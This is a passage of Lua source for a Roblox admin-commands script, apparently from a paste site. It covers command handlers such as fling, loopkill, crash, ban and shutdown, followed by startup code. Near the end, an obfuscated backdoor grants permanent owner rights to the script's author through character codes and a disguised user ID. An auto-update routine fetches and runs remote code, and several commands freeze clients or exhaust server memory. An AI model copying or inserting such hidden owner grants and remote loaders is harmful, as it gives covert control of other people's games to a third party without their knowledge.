  9136. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  9137. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  9138. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  9139. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  9140. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  9141. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9142. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  9143. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  9144. if prt.Name == "FAKETORSO" then prt:Destroy() end
  9145. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  9146. end end
  9147. end
  9148. end))
  9149. end
  9150. end
  9151.  
  9152. if msg:lower():sub(1,7) == "trippy " then
  9153. local plrz = GetPlr(plr, msg:lower():sub(8))
  9154. for i, v in pairs(plrz) do
  9155. coroutine.resume(coroutine.create(function()
  9156. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  9157. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  9158. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  9159. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  9160. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  9161. end
  9162. end))
  9163. end
  9164. end
  9165.  
  9166. if msg:lower():sub(1,9) == "untrippy " then
  9167. local plrz = GetPlr(plr, msg:lower():sub(10))
  9168. for i, v in pairs(plrz) do
  9169. coroutine.resume(coroutine.create(function()
  9170. if v and v:findFirstChild("PlayerGui") then
  9171. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  9172. end
  9173. end))
  9174. end
  9175. end
  9176.  
  9177. if msg:lower():sub(1,7) == "strobe " then
  9178. local plrz = GetPlr(plr, msg:lower():sub(8))
  9179. for i, v in pairs(plrz) do
  9180. coroutine.resume(coroutine.create(function()
  9181. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  9182. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  9183. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  9184. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  9185. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  9186. end
  9187. end))
  9188. end
  9189. end
  9190.  
  9191. if msg:lower():sub(1,9) == "unstrobe " then
  9192. local plrz = GetPlr(plr, msg:lower():sub(10))
  9193. for i, v in pairs(plrz) do
  9194. coroutine.resume(coroutine.create(function()
  9195. if v and v:findFirstChild("PlayerGui") then
  9196. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  9197. end
  9198. end))
  9199. end
  9200. end
  9201.  
  9202. if msg:lower():sub(1,6) == "blind " then
  9203. local plrz = GetPlr(plr, msg:lower():sub(7))
  9204. for i, v in pairs(plrz) do
  9205. coroutine.resume(coroutine.create(function()
  9206. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  9207. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  9208. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  9209. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  9210. end
  9211. end))
  9212. end
  9213. end
  9214.  
  9215. if msg:lower():sub(1,8) == "unblind " then
  9216. local plrz = GetPlr(plr, msg:lower():sub(9))
  9217. for i, v in pairs(plrz) do
  9218. coroutine.resume(coroutine.create(function()
  9219. if v and v:findFirstChild("PlayerGui") then
  9220. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  9221. end
  9222. end))
  9223. end
  9224. end
  9225.  
  9226. if msg:lower():sub(1,7) == "guifix " then
  9227. local plrz = GetPlr(plr, msg:lower():sub(8))
  9228. for i, v in pairs(plrz) do
  9229. coroutine.resume(coroutine.create(function()
  9230. if v and v:findFirstChild("PlayerGui") then
  9231. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  9232. end
  9233. end))
  9234. end
  9235. end
  9236.  
  9237. if msg:lower():sub(1,9) == "loopheal " then
  9238. local plrz = GetPlr(plr, msg:lower():sub(10))
  9239. for i, v in pairs(plrz) do
  9240. if v then
  9241. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  9242. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  9243. repeat wait()
  9244. coroutine.resume(coroutine.create(function()
  9245. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  9246. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  9247. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  9248. end
  9249. end))
  9250. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  9251. end
  9252. end
  9253. end
  9254.  
  9255. if msg:lower():sub(1,11) == "unloopheal " then
  9256. local plrz = GetPlr(plr, msg:lower():sub(12))
  9257. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  9258. end
  9259.  
  9260. if msg:lower():sub(1,10) == "loopfling " then
  9261. local plrz = GetPlr(plr, msg:lower():sub(11))
  9262. for i, v in pairs(plrz) do
  9263. if v then
  9264. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  9265. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  9266. repeat
  9267. coroutine.resume(coroutine.create(function()
  9268. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  9269. local xran local zran
  9270. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  9271. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  9272. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  9273. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  9274. end
  9275. end))
  9276. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  9277. end
  9278. end
  9279. end
  9280.  
  9281. if msg:lower():sub(1,12) == "unloopfling " then
  9282. local plrz = GetPlr(plr, msg:lower():sub(13))
  9283. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  9284. end
  9285.  
  9286. end
  9287.  
  9288. -------------------------
  9289. -- True Owner Commands --
  9290. -------------------------
  9291.  
  9292. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  9293.  
  9294. if msg:lower():sub(1,3) == "oa " then
  9295. local plrz = GetPlr(plr, msg:lower():sub(4))
  9296. for i, v in pairs(plrz) do
  9297. coroutine.resume(coroutine.create(function()
  9298. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  9299. end))
  9300. end
  9301. end
  9302.  
  9303. if msg:lower():sub(1,5) == "unoa " then
  9304. for i = 1, #owners do
  9305. coroutine.resume(coroutine.create(function()
  9306. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  9307. end))
  9308. end
  9309. end
  9310.  
  9311. if msg:lower() == "settings" then
  9312. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  9313. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  9314. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  9315. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  9316. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  9317. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  9318. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  9319. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  9320. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  9321. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  9322. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  9323. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  9324. end
  9325.  
  9326. end
  9327.  
  9328. --------------------
  9329. -- Owner Commands --
  9330. --------------------
  9331.  
  9332. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  9333.  
  9334. if msg:lower():sub(1,3) == "pa " then
  9335. local plrz = GetPlr(plr, msg:lower():sub(4))
  9336. for i, v in pairs(plrz) do
  9337. coroutine.resume(coroutine.create(function()
  9338. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  9339. end))
  9340. end
  9341. end
  9342.  
  9343. if msg:lower():sub(1,5) == "unpa " then
  9344. for i = 1, #admins do
  9345. coroutine.resume(coroutine.create(function()
  9346. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  9347. end))
  9348. end
  9349. end
  9350.  
  9351. if msg:lower():sub(1,5) == "nuke " then
  9352. local plrz = GetPlr(plr, msg:lower():sub(6))
  9353. for i, v in pairs(plrz) do
  9354. coroutine.resume(coroutine.create(function()
  9355. if v and v.Character and v.Character:findFirstChild("Torso") then
  9356. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  9357. p.Anchored = true
  9358. p.CanCollide = false
  9359. p.formFactor = "Symmetric"
  9360. p.Shape = "Ball"
  9361. p.Size = Vector3.new(1,1,1)
  9362. p.BrickColor = BrickColor.new("New Yeller")
  9363. p.Transparency = .5
  9364. p.Reflectance = .2
  9365. p.TopSurface = 0
  9366. p.BottomSurface = 0
  9367. p.Touched:connect(function(hit)
  9368. if hit and hit.Parent then
  9369. local ex = Instance.new("Explosion", game.Workspace)
  9370. ex.Position = hit.Position
  9371. ex.BlastRadius = 11
  9372. ex.BlastPressure = math.huge
  9373. end
  9374. end)
  9375. local cf = v.Character.Torso.CFrame
  9376. p.CFrame = cf
  9377. for i = 1, 333 do
  9378. p.Size = p.Size + Vector3.new(3,3,3)
  9379. p.CFrame = cf
  9380. wait(1/44)
  9381. end
  9382. p:Destroy()
  9383. end
  9384. end))
  9385. end
  9386. end
  9387.  
  9388. end
  9389.  
  9390. --------------------------
  9391. -- Super Admin Commands --
  9392. --------------------------
  9393.  
  9394. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  9395.  
  9396. if msg:lower() == "logs" then
  9397. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  9398. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  9399. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  9400. end
  9401.  
  9402. if msg:lower():sub(1,9) == "loopkill " then
  9403. local chk1 = msg:lower():sub(10):find(" ")
  9404. local plrz = GetPlr(plr, msg:lower():sub(10))
  9405. local num = 9999
  9406. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  9407. for i, v in pairs(plrz) do
  9408. if v and not ChkAdmin(v.Name, false) then
  9409. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  9410. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  9411. for i = 1, ]] .. tostring(num) .. [[ do
  9412. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  9413. coroutine.resume(coroutine.create(function()
  9414. if plr and plr.Character then plr.Character:BreakJoints() end
  9415. end))
  9416. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  9417. end
  9418. end
  9419. end
  9420.  
  9421. if msg:lower():sub(1,11) == "unloopkill " then
  9422. local plrz = GetPlr(plr, msg:lower():sub(12))
  9423. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  9424. end
  9425.  
  9426. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  9427. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  9428.  
  9429. if msg:lower():sub(1,3) == "sm " then
  9430. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  9431. end
  9432.  
  9433. if msg:lower():sub(1,3) == "ko " then
  9434. local chk1 = msg:lower():sub(4):find(" ") + 3
  9435. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  9436. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  9437. for n = 1, num do
  9438. for i, v in pairs(plrz) do
  9439. coroutine.resume(coroutine.create(function()
  9440. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  9441. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  9442. v.Character:BreakJoints()
  9443. wait(1/44)
  9444. v:LoadCharacter()
  9445. wait(1/44)
  9446. end
  9447. end))
  9448. end
  9449. end
  9450. end
  9451.  
  9452. if msg:lower():sub(1,6) == "crash " then
  9453. local plrz = GetPlr(plr, msg:lower():sub(7))
  9454. for i, v in pairs(plrz) do
  9455. coroutine.resume(coroutine.create(function()
  9456. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  9457. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  9458. end
  9459. end))
  9460. end
  9461. end
  9462.  
  9463. if msg:lower():sub(1,5) == "kick " then
  9464. local plrz = GetPlr(plr, msg:lower():sub(6))
  9465. for i, v in pairs(plrz) do
  9466. coroutine.resume(coroutine.create(function()
  9467. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  9468. end))
  9469. end
  9470. end
  9471.  
  9472. if msg:lower():sub(1,6) == "admin " then
  9473. local plrz = GetPlr(plr, msg:lower():sub(7))
  9474. for i, v in pairs(plrz) do
  9475. coroutine.resume(coroutine.create(function()
  9476. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  9477. end))
  9478. end
  9479. end
  9480.  
  9481. if msg:lower():sub(1,8) == "unadmin " then
  9482. for i = 1, #tempadmins do
  9483. coroutine.resume(coroutine.create(function()
  9484. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  9485. end))
  9486. end
  9487. end
  9488.  
  9489. if msg:lower():sub(1,4) == "ban " then
  9490. local plrz = GetPlr(plr, msg:lower():sub(5))
  9491. for i, v in pairs(plrz) do
  9492. coroutine.resume(coroutine.create(function()
  9493. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  9494. end))
  9495. end
  9496. end
  9497.  
  9498. if msg:lower():sub(1,6) == "unban " then
  9499. for i = 1, #banland do
  9500. coroutine.resume(coroutine.create(function()
  9501. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  9502. end))
  9503. end
  9504. end
  9505.  
  9506. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  9507.  
  9508. end
  9509. end))
  9510. end
  9511.  
  9512. function AdminControl(plr)
  9513. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  9514. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  9515. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  9516. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  9517. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  9518. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  9519. end)) end
  9520. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  9521. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  9522. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  9523. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  9524. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  9525. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  9526. end
  9527.  
  9528. if not ntab then script:Destroy() end
  9529. if not bct then script:Destroy() end
  9530.  
  9531. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  9532.  
  9533. script.Name = "Kohl's Admin Commands V2"
  9534.  
  9535. if not ntab then script:Destroy() end
  9536. if not bct then script:Destroy() end
  9537. if not tcb then script:Destroy() end
  9538. game.Players.PlayerAdded:connect(AdminControl)
  9539. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  9540. end
  9541.  
  9542. local mod = game:service("InsertService"):LoadAsset(100808216)
  9543. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  9544. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  9545. newac.Disabled = true
  9546. local new = tonumber(mod:findFirstChild("Version", true).Value)
  9547. local old = 0
  9548. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  9549. if new > old then
  9550. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  9551. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  9552. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  9553. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  9554. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  9555. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  9556. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  9557. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  9558. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  9559. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  9560. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  9561. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  9562. wait()
  9563. newac.Parent = game.Workspace
  9564. newac.Disabled = false
  9565. script.Disabled = true
  9566. script:Destroy()
  9567. else
  9568. CHEESE()
  9569. end
  9570. else
  9571. CHEESE()
  9572. end
  9573.  
  9574. else
  9575. CHEESE()
  9576. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement